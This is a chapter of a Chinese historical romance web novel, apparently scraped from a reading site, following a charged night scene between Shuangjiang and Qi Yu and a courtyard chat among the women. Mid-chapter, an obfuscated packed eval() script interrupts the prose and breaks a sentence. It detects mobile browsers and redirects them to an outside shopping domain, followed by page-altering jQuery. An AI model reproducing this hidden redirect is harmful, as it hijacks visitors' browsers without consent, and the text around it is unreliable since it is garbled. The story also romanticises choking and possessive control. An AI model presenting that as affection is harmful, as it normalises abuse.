话一出口,便没有往回收的余地。她索性敞怀直言,厉声斥道:

    “倘若真有心怜孤魂、恤苍生,便不会只顾自己安逸。若人人都像你这般,稍有风雨就闭门躲世,那世间永远战乱不休,孤魂永远无处安身!”

    “一边悲悯,一边袖手,大人心里,当真能安?”

    陆无壬松开拳抬头,认真打量起宋杳,他的目光没有温度,仅是平淡地瞧着。不曾为她这番诘责动气,亦不作半句辩解。

    宋杳也不惧他看,昂着脖子,只管让这所谓的陆大人瞧个够。

    “倒是一块好苗子。”陆无壬浅笑,收回目光继续往屋内走去,“只是许多事,你眼下尚看不透彻。回去吧。”

    “大人?”孟槐安扶过宋杳肩,忧心忡忡望向眼前人。

    “改日再来吧。日日来,我这小院的门槛,都快要被你们踏平了。”

    ——

    月光透过几缕残枝照进屋内,在地面上铺出斑驳影画。

    霜降伏在榻上瞧得出神,人影过,画被吃干抹净,空余叮当轻响,霜降抬眸。

    咚咚咚——

    三声叩门,不急不缓。

    榻上人尚未来得及起身,祁玉已然推门而入。

    “出去!”霜降埋下头,把身子挤在床脚,满是抗拒地低声呵斥。

    门口身影顿住,月光将他的影子扯得晃动,进退两难。祁玉哼笑一声:“出息了?”

    他放下药箱,步子跨得更大,临近床榻时却不上前,刻意逼得霜降不得不抬头与他对视。

    “你想做什么!”她后背紧抵住墙壁,整个人裹在被褥之中,只露出一双眼睛警惕望着他。

    祁玉斜倚在榻边,后背靠着木架,抚平衣摆徐徐转头:“伸手。”

    “手?”被褥失力滑落,露出她小巧的鼻尖。

    他凑近,远远贴上鼻尖,气息遥遥相抵:“我奉嫂嫂之命,前来替妹妹把脉。想来妹妹不欢迎,那便作罢。”

    听闻是小姐吩咐,霜降心头一松,连忙伸手拽住祁玉的外袍:“你...你别走。”

    像是终于寻到一条能站稳脚跟的理由,她在心里反复默念这个借口,生怕连这唯一的依托都跑了。

    祁玉不作回应,拂袖起身。

    被褥彻底脱手从她肩头掉下,大半身子暴露在外。她急忙往前挪动,半跪于榻上,一手抓紧他的衣料不肯松开:“别走。”

    祁玉就势重新坐下,二人离得近,他生得高挑,纵然坐着也高出半跪的霜降一个头。

    见他不再吭声,那手烫手地撒开,霜降撩起衣袖,将腕子送到他跟前:“祁玉。”

    面前人不为所动,霜降这才意识到自己过分了些,不该将一场梦的情绪全撒在他身上。身子跪得更低,两膝挨着祁玉更近:“祁玉?”

    面前人却使了性子故意扭头不肯看。霜降只得抬起左手,衣袖顺势滑下,露出一截莹白小臂,像邀功般往他侧脸递去。

    两手一搭,腕臂主动送到跟前,想不看都不行。

    “祁玉?”霜降屏息试探开口,侧过脑袋偷看祁玉侧脸。

    在霜降心里,若论娇艳,小姐第一,若论甜美,媚堂姐姐第一。

    可若论这诱人,当属祁玉第一。

    掐出型的点心,纵是不让人尝,瞧着也是赏心悦目的,祁玉便是这点心。

    她心神一弛,脱口唤道:“玉儿…”

    祁玉一把拽过她的右臂,灵巧地转了个圈,反手将人压在怀中,吻上她的耳:“谁给的胆?”

    霜降也像话本写的那样,羞得玉面飞霞,螓首低垂,半句也不敢多应声。

    可温存贪恋片刻足矣,再多,便是逾矩。

    “不要乱动。”

    他掌心沁着凉意,右手十指与她交扣锁紧,将人抱在怀里。左手指尖搭在霜降耳下,顺着玉颈正中慢慢往下抚。

    手虽凉,心却滚烫沸热。

    “妹妹脉跳得怎这般快?”他故意凑至霜降耳边,热气冲散寒意,再强硬的态度也被撕开一道口。

    祁玉却没停手,指腹顺着耳后脉搏继续下移,力道沉重,直抵咽喉穴位处。

    没了呼吸,霜降涨红眼,呛出泪。他松了力道,任凭怀中人呼吸。连泪也要攥进手心,不放过,毕竟那是她为他流的。

    他要,全要,不止这点泪!

    祁玉将下巴抵在霜降颈窝,两手左右收力,像条毒蛇攀在枝上。

    “我轻些,好不好?”

    “祁…祁玉。”

    “嗯?先前教你的穴位,可还记得?”这话说的柔,霜降应得轻。

    “嗯。”

    他松开交扣的手,捏住她的指节,一如初见授课那般,引着抬至自己左肩:“那告诉我,这,叫什么?”

    “中府穴。”

    再往右滑:“这儿呢?”

    “天突穴。”

    最后指尖落向膻中穴时,祁玉已然将霜降转过身,直面自己。

    他松开手,身子往前倾,霜降的掌心被他推平扣在正中,感受胸腔带来的起伏震颤。

    “从前,名为膻中。”他接过霜降的手,贴着她的身子,原本一掌的距离被推得缩至寸许,“以后,不若就叫…”

    余下二字尚未出口,霜降猛然抽回手,翻过身背朝他。面上再镇定冷静,躁动的心跳却无法掩饰内心的情感。

    半晌,她勉强寻到话头,随口问道:“我这是什么病?”丢出去也不管身后人作答。

    祁玉扑了个空,这狡猾的兔子,他在心底暗笑。扶稳身形坐直后,他伸手揽住霜降的腰,将人往后一带:“妹妹这是心病,心病自然…还需心药医了。”

    “妹妹觉着,我这味药,下得如何?”

    “可曾药到病除?”

    “我没病,我没有。”

    霜降吓得一肘往后,这下是真没留意,又练过拳脚,一肘击得祁玉捂起胸口咳。

    她慌张上前,替他抚气,泪比心碎得还快:“对不起。”

    祁玉一把扯过她的手腕,阴沉嘶喊:“还敢说你对我无意?”

    霜降歪过身,只敢留双手撑着与他对视。

    “难道你喜欢那个臭侍卫不成!”

    “我没有!”她猛地回头辩解,泪大把大把掉。

    祁玉撒开她的手,转过身冷漠问:“明日,还要不要我,来替你瞧脉?”

    身后一片沉默,只剩无声哽咽。

    他垂下眸想盖住眼底抑郁,心底那点不甘缩在牙关,却倔强地钻出齿间:“若是嫂嫂要我来呢?”

    少年心性本难自持,理智徒撑着一副空壳,内里终究败给本能的冲动。

    许久,霜降拉住祁玉悬起的手,两手握紧,跪在榻旁:

    “嗯。”

    一字重如泰山,压在心间,可沿着缝隙长出的是朵小花。

    “是为了嫂嫂,还是为了…”

    “别再问了。”

    祁玉坐下,抬手替她拂开耳畔散乱的发丝:“好,我不问。”

    兔子逼急,是会咬人

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17777805|204805||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的。

    没事,他可以等,就像从无相国等到她说出“嗯”一样。

    等到那个答案,等到她肯面对他,她还是他的。

    她只能也只会是他的。

    残枝挪了影,落在霜降清瘦的脊背上,萧条落寞。

    枝影上下浮动抖个不停,祁玉心痛地接过“影子”,抱在怀里轻拍安抚。他的衣领晕开一片痕,浓得半边袖子都由鲜红褪为暗红。

    枝影自霜降脊背,缓缓挪到祁玉身上。他埋首在她颈间,回应的只有两行无声清泪。

    直到影停稳不再晃动,他才安心放下怀里人,护着霜降脑袋放平。怀里人早已熟睡,只嘴边犹在含糊轻唤:“祁…祁玉…”

    祁玉替她掖好被角,俯身吻去她脸上道道泪痕,苦的、涩的,含在嘴里咽进心里。

    最后一吻落在额间,不舍地收回。

    四更,屋内一片昏黑。他拿起药箱,踌躇片刻重新放回桌案,小心推开木门,仔细掩紧后才放心离去。

    ——

    午后日头炽盛,枯败的葡萄架下,三人倚在石凳上,叽叽喳喳吵得没完。

    霜降挑挑拣拣,寻到最饱满两块葡萄干,一手往小姐嘴里送,一手往媚堂嘴里送。

    祁玉明明跟她说霜降身子欠佳需得日日调理,可她怎么瞧着,这病好得不能再好?

    宋杳想得愣神,身旁人摇她也没感觉。

    “霜降,你看看你家小姐,跟我们一块,还能出神成这样。”媚堂挪到霜降旁边,用骨节扣石桌,发出异响。

    霜降嘴里塞得满满当当,哽着脖子咽下:“小姐定然是想孟公子了!”

    “啧啧,这坠入爱河的人啊,可真可怕。”媚堂咂吧嘴,摇着头感慨。

    “什么呀,你俩别乱说。”宋杳收回神,拉回果盘,漫不经心地拈起果干送入口中。

    “哎,上次问到没有?”

    “对呀小姐,上次你究竟问到没有?”

    宋杳取出绢帕,借着擦嘴覆上整张面:“问什么呀?”

    身前两人对视一眼,又是啧啧两声。

    “还能问什么呀,那日你在车里好奇的呀?”媚堂拉下她的帕子,嗔怪地问。

    “我现下不好奇了。”她两指绞着帕子,转圈地玩。

    两人同时一掌拍在石桌上:“可我们好奇!”

    她甩开绢帕,双手揣起,伏在石桌上:“哎呀,我也不知道。”

    “听我的,把心踏踏实实放肚子里。”媚堂点点她的头,羡慕地开口,“槐安心里可就只装得下你一个。”

    “那裴公子不也一样,对你用情至深,半点不差。”

    霜降听得一愣一愣。

    “他才不!”媚堂想起那夜裴蘅调戏侍女,顿时火从心来。他心里,有家国有天下有所有人,就是没有她。

    霜降看着这两个人,头都大了大半圈:“要我说,这郎有情妾有意,直说不就好了。”

    “小孩子懂什么,等你遇上心上人,怕是连跟情郎对视的胆都没有。”媚堂支着头,斜睨霜降。

    “说起来,我们霜降,不会已经有了吧?”

    宋杳歪过头也跟着媚堂笑:“有了可不能瞒着哦,瞧我跟媚堂姐姐向来直言不讳。”

    两人一齐点头,只留下局促不安的霜降,一会摸摸手一会擦擦桌。

    “小姐不是要丝线?那便快缝吧。”她找了半天从身后取出一箩筐丝线,借机岔开话题。

    宋杳也不打趣她,接过丝线认真梳理起来。